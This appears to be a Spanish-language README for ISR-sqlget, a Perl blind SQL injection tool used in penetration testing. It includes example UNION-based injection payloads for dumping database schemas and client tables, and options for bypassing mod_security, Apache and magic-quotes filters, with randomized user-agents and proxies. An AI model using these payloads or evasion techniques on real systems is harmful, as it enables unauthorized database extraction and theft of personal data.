
ISR-sqlget Es una herramienta de inyección SQL ciega desarrollada en Perl.
-- ISR - Infobyte Security Research -- | ISR-sqlget | www.infobytesec.com |
..:: DESCRIPCIÓN
ISR-sqlget: Es una herramienta de inyección SQL ciega desarrollada en Perl. Permite obtener esquemas de bases de datos y filas de tablas. Usando un único GET/POST puedes acceder silenciosamente a la estructura de la base de datos y usando un único GET/POST puedes volcar cada fila de tabla a un archivo tipo csv.
Bases de datos soportadas:
- IBM DB2
- Microsoft SQL Server
- Oracle
- Postgres
- Mysql
- IBM Informix
- Sybase
- Hsqldb (www.hsqldb.org)
- Mimer (www.mimer.com)
- Pervasive (www.pervasive.com)
- Virtuoso (virtuoso.openlinksw.com)
- SQLite
- Interbase/Yaffil/Firebird (Borland)
- H2 (http://www.h2database.com)
- Mckoi (http://mckoi.com/database/)
- Ingres (http://www.ingres.com)
- MonetDB (http://www.monetdb.nl)
- MaxDB (www.mysql.com/products/maxdb/)
- ThinkSQL (http://www.thinksql.co.uk/)
- SQLBase (http://www.unify.com)
Características de evasión:
- Codificación Unicode de ancho completo/medio ancho
- Bypass CR no estándar de Apache
- Bypass de mod_security
- Transformación aleatoria de mayúsculas en la petición
- PHP Magicquotes: codifica cada cadena usando la función CHR de la base de datos o similar.
- Convertir peticiones a valores hexadecimales
- Evitar el reemplazo de espacios por /**/ o (\t) tabulación
- Evitar la concatenación con || o + usando la función concat de la base de datos o similar.
- User-agent aleatorio
- Proxy-server aleatorio
- Retardo aleatorio en la petición
Características comunes:
- Lista negra de descarga de esquemas de base de datos
- Soporte de arrays de cookies
- Soporte SSL
- Soporte de servidor proxy
- Información de la base de datos volcada en formato csv
Informes:
- Graficación de la estructura de la base de datos para crear informes ejecutivos de impacto
requiere la librería Graphviz (http://www.graphviz.org/)
..:: USO
La herramienta necesita la siguiente información:
Las posibles ACCIONEs son:
Primero:
1. Obtener el esquema de la base de datos.
Luego:
2.a Obtener las filas de las tablas (formato csv).
2.b Obtener el esquema gráfico de la base de datos.
..:: Ejemplo:
Objetivo: http://target.infobytesec.com/helloworld.php?id=
Código fuente de helloworld.php:
"; while ($tr = $database->fetch_row()) { print ""; print $tr['name']; print ""; } print ""; ?>Lea el ejemplo de sesión (archivo de configuración): ./helloworld.pm
Obtener el esquema de la base de datos:
; bash# ./ISR-sqlget.pl -s -n helloworld ; -------------------------------------------------- ; Action: Get dbschema, Session name: helloworld ; -------------------------------------------------- ; ; http://target.infobytesec.com/helloworld.php?id=,id=1 union select 1,COALESCE((select nspname from pg_namespace ; where a.relnamespace =pg_namespace.oid),'0'::text)||'[]'||COALESCE(relname,'0'::text)||'[]'||COALESCE(attname,'0'::text); ; ||'[__]'||COALESCE((select typname from pg_type where oid=b.atttypid),'0'::text) from (pg_attribute b JOIN pg_class a ON ; (a.oid = b.attrelid)) where (attnum > 0 and ((a.relkind = 'r'::"char") OR (a.relkind = 's'::"char"))) --' ; from sqlite_master where type='table' --,GET ; ; bash#
Esto genera un archivo de esquema local en: ./template/helloworld.dbschema
Luego obtenga las filas de las tablas:
; bash# ./ISR-sqlget.pl -d -n helloworld ;-------------------------------------------------- ;Action: Get DBDATA, Session name: helloworld ;-------------------------------------------------- ;-------------------------------------------------- ;Action: Get DBDATA, Session name: helloworld, DbSchema: helloworld.dbschema ;-------------------------------------------------- ;------------------------------------------------------------------------------------------------------------------------------------------------------ ;http://target.infobyte.com.ar/helloworld.php?id=,id=1 union all select id||'[]'||name||'[]'||address from ;company.clients --,GET ;Save source table: ./datos/helloworld.company.clients.sql.html ;Save csv table: ./datos/helloworld.company.clients.csv ;------------------------------------------------------------------------------------------------------------------------------ ;.....
En el directorio "./datos/" tendrás dos archivos por tabla como los siguientes:
[sessionname].[database].[table].sql.html # fuente html [sessionname].[database].[table].csv # valores separados por comas
Ten en cuenta que "./datos" puede especificarse con el parámetro $conf::outputdb en el archivo de configuración de la sesión.
..:: Avanzado
La herramienta usa solo un tipo de columna text/varchar/etc en la consulta SQL. Usando sentencias UNION puedes obtener "en esa columna" todo el esquema de la base de datos usando "[__]" como delimitador.
Cuando ya hayas guardado el esquema local de la base de datos, podrás:
1.a Obtener las filas de las tablas: Usando la misma técnica puedes obtener todas las filas de cada tabla de la base de datos. Las columnas con tipos de datos no compatibles con text se transforman al tipo de dato text usando funciones propias de la base de datos.
1.b Obtener el gráfico del esquema de la base de datos.
La herramienta usa para cada acción un archivo de configuración de sesión. Este archivo de configuración define los parámetros necesarios para explotar la inyección SQL. El parámetro @conf::path especifica la forma en que se parsea el HTML crudo para trabajar con la herramienta.
Detalles de ayuda:
Usage: ./ISR-sqlget.pl [ACTION] [OPTIONS]
Action: -c: Verificar el módulo del parser -t: Obtener página de prueba -a: Obtener todos los nombres de bases de datos (solo mssql) -s: Obtener la/las estructura/s de la base de datos -d: Obtener la/las información/es de la base de datos (formato csv) -g: Estructura gráfica de la base de datos (formato gif)
Options: -n: Nombre de la sesión -p: (Usar con la acción -c, especificar la página fuente para verificar el módulo); Default ./template/$SESSION.testpage -v: Verboso -h: Ayuda
-t: Usando el archivo de sesión obtienes una tabla corta del sistema de datos para ser usada con la acción "-c" para parsear el HTML crudo posteriormente.
-c: Por defecto usa ./template/[session-name].testpage. Se usa para desarrollar y probar el parser de HTML crudo. Puedes elegir otro archivo html usando la opción "-p".
-a: Todos los motores de base de datos usan el siguiente orden para obtener las filas de las tablas: 1. "-s" obtener estructura (guarda el esquema de la base de datos en un archivo local). 2. "-d" obtener datos de las tablas.
Debido a las tablas del sistema de MSSQL tenemos que añadir un paso previo:
1. "-a" Obtener todos los nombres de bases de datos del /schema/catalog (guarda los nombres en un archivo local).
2. "-s" obtener estructura (guarda el esquema de la base de datos en un archivo local).
3. "-d" obtener datos de las tablas.
-s: obtener estructura (guarda el esquema de la base de datos en un archivo local).
-d: obtener datos de las tablas.
-g: Usando el archivo de esquema local de la base de datos obtenido previamente para obtener el gráfico del esquema de la base de datos (formato gif)
-n: Especifica el nombre del archivo de configuración de la sesión.
..:: Notas
./pmschanges.txt: Usamos una versión modificada de LWP, Net::HTTP que incluye métodos y especificaciones CRLs. Este archivo explica las modificaciones.
./dbs/isr_*: Cada módulo de base de datos tiene la variable @space que especifica el tipo de espacio válido. Ejemplo: my @space=(' ',"\t","/**/"); #todos los espacios
..:: Opciones del archivo de sesión:
@conf::path #El parámetro @conf::path especifica la forma en que se parsea el HTML crudo para trabajar con la herramienta. #Usa código perl embebido con HTML::TreeBuilder para parsear el HTML crudo. #La primera configuración es un array de árbol con los nombres de las etiquetas html necesarias. El último nombre de etiqueta html se procesa con el código perl.
Ver ejemplos en ./examples/ example[n].html session[n].pm
$conf::site #Sitio donde está la aplicación vulnerable
$conf::script #Archivo de script vulnerable
$conf::method #Método 'POST', 'GET', 'HELLO', '\r\n\r\n\r\n\r\n\r\n' (apache method bypass)
$conf::inj #Parámetros POST/GET con las sentencias UNION. #Usa variables que luego serán reemplazadas con la información dinámica.
Variables:
<VALUE> = Columna usada para obtener toda la información.
<TABLE> = Sección de tablas.
<WHERE> = Sección Where.
<TAIL> = La última parte de la sentencia sql.
Ejemplo: "id=1') union select <VALUE>,'a' from <TABLE> <WHERE> <TAIL> --";
$conf::where #Si necesitas añadir alguna excepción en la tabla del union debes usar este #parámetro porque hay algunas consultas de estructura de base de datos que tienen "WHERE" incluido.
$conf::tail #La última parte de la sentencia sql. $conf::param #Estilo de parámetro = Estilo Post 1, Estilo Url 0 Estilo Post= ;root@isr-slackware:~/dev# telnet localhost 80 ;Trying 127.0.0.1... ;Connected to localhost. ;Escape character is '^]'. ;GET http://site/aaa.php HTTP/1.0 ;id=aaa
Estilo Url:
;root@isr-slackware:~/dev# telnet localhost 80
;Trying 127.0.0.1...
;Connected to localhost.
;Escape character is '^]'.
;GET http://site/aaa.php?id=aaa HTTP/1.0
$conf::dbtype #Backend de base de datos
1 - Oracle
2 - Microsoft SQL Server
3 - Mysql
4 - Postgres
5 - IBM DB2
6 - Interbase/Yaffil/Firebird (Borland)
7 - Mimer (www.mimer.com)
8 - Virtuoso (virtuoso.openlinksw.com)
9 - Pervasive (www.pervasive.com)
10 - Hsqldb (www.hsqldb.org)
11 - SQLite
12 - IBM Informix
13 - Sybase
14 - H2 (http://www.h2database.com)
15 - Mckoi (http://mckoi.com/database/)
16 - Ingres (http://www.ingres.com)
17 - MonetDB (http://www.monetdb.nl)
18 - MaxDB (www.mysql.com/products/maxdb/)
19 - ThinkSQL (http://www.thinksql.co.uk/)
20 - SQLBase (http://www.unify.com)
$conf::session #Nombre de la sesión (Debes usar el mismo nombre del archivo de configuración de sesión sin la extensión .pm) $conf::outputdb #La ruta de las filas de tablas volcadas
######### proxy $conf::proxy_host #Soporte de proxy Ejemplo: 'http://user:pass@host:port/'; $conf::rproxy #Proxy aleatorio 1 habilitar o 0 deshabilitar $conf::rproxyfile #Archivo de proxies aleatorios (Usa el mismo formato que $conf::proxy_host)
######### filtros $conf::space #Evitar espacios: 0 habilitar espacio o 1 reemplazar espacio ' ' con tabulación '\t' o #2 reemplazar espacio ' ' con comentario '/**/'
$conf::apache_espace #Puedes especificar el valor de los CRs en la petición HTTP/s
#Ejemplo:
$conf::apache_espace_rnd=1; #combinación aleatoria de CRs 0x0b, 0x0c, 0x0d $conf::apache_espace_rmaxn=10; #Número máximo aleatorio de caracteres #En este ejemplo, aleatorizamos los CRs (0x0b, 0x0c, 0x0d) de 1 a 10: #Referencia: http://www.osvdb.org/25837
$conf::mod_security #1 habilitar bypass modsecurity <= 2.1.0 & (=>PHP 5.2.0||PERL||Python) #Referencia: http://www.php-security.org/MOPB/BONUS-12-2007.html
$conf::full_width #1 habilitar bypass de codificación full-width $conf::ruseragent #1 habilitar uso de user agent aleatorio $conf::ruseragentfile #Archivo de lista de user agents $conf::uagent #User agent por defecto $conf::delay #Retardo entre conexiones $conf::rdelay #1 habilitar retardo máximo aleatorio entre conexiones, usa $conf:delay como valor máximo. $conf::magicquotes #1 habilitar evasión de magicquotes (usar función CHR o similar en cada base de datos) $conf::convertall_hex #1 transformar cada valor de parámetro en formato hex (%41,%61) $conf::rnd_uppercase #1 habilitar transformación aleatoria de mayúsculas.
######## filtros solo mssql $conf::scape_plas #1 habilitar, usar función CONCAT en caso de que el script no pueda recibir '+' #(usado como concatenación de cadenas) $conf::convertall_str #1 habilitar convertir todas las columnas a cadena (recomendado) $conf::scape_output_less #1 habilitar En caso de que el script no pueda enviar '|' usar la función de la base de datos para reemplazarlo
######## filtros solo oracle/db2/virtuoso/h2/mckoi/ingres/monetdb/maxdb/thinksql $conf::scape_pipe #Usar función CONCAT o similar en caso de que el script no pueda recibir '|' (usado como concatenación de cadenas)
$conf::deny_dbname #array que contiene los nombres de bases de datos que no deben procesarse (lista negra) Ejemplo de valor = {'WMSYS' => 1, 'SYS' => 1 };
#Cookie $conf::cookie #1 habilitar array de cookies @conf::cookies #array con las cookies a usar Ejemplo de valor = ( { version=>undef, key=>'valu1', val=>'password', path=>'', domain=>'', port=>undef, path_spec=>undef, secure=>undef, maxage=>undef, discard=>undef, rest=>undef });
#Opciones de gráficos (Más información en la ayuda del módulo GraphViz perl) $conf::graphdir = './graph/'; #El directorio de destino de los archivos de gráficos $conf::glayout = 'dot'; $conf::grootcolor='crimson'; $conf::gdbcolor='darkgreen'; $conf::gtablecolor='olivedrab1'; $conf::gcolumncolor='lightblue2'; $conf::gcolumn=0; #0= no graficar columna 1= graficar columnas
..:: REQUISITOS
1 - Módulos Perl: LWP::UserAgent HTTP::Cookies; Convert::EastAsianWidth Data::Dump GraphViz
2 - Librerías Proyecto GraphViz (http://www.graphviz.org/)
..:: DESCARGA
http://www.infobytesec.com/development.html
..:: AUTOR Francisco Amato famato+at+infobytesec+dot+com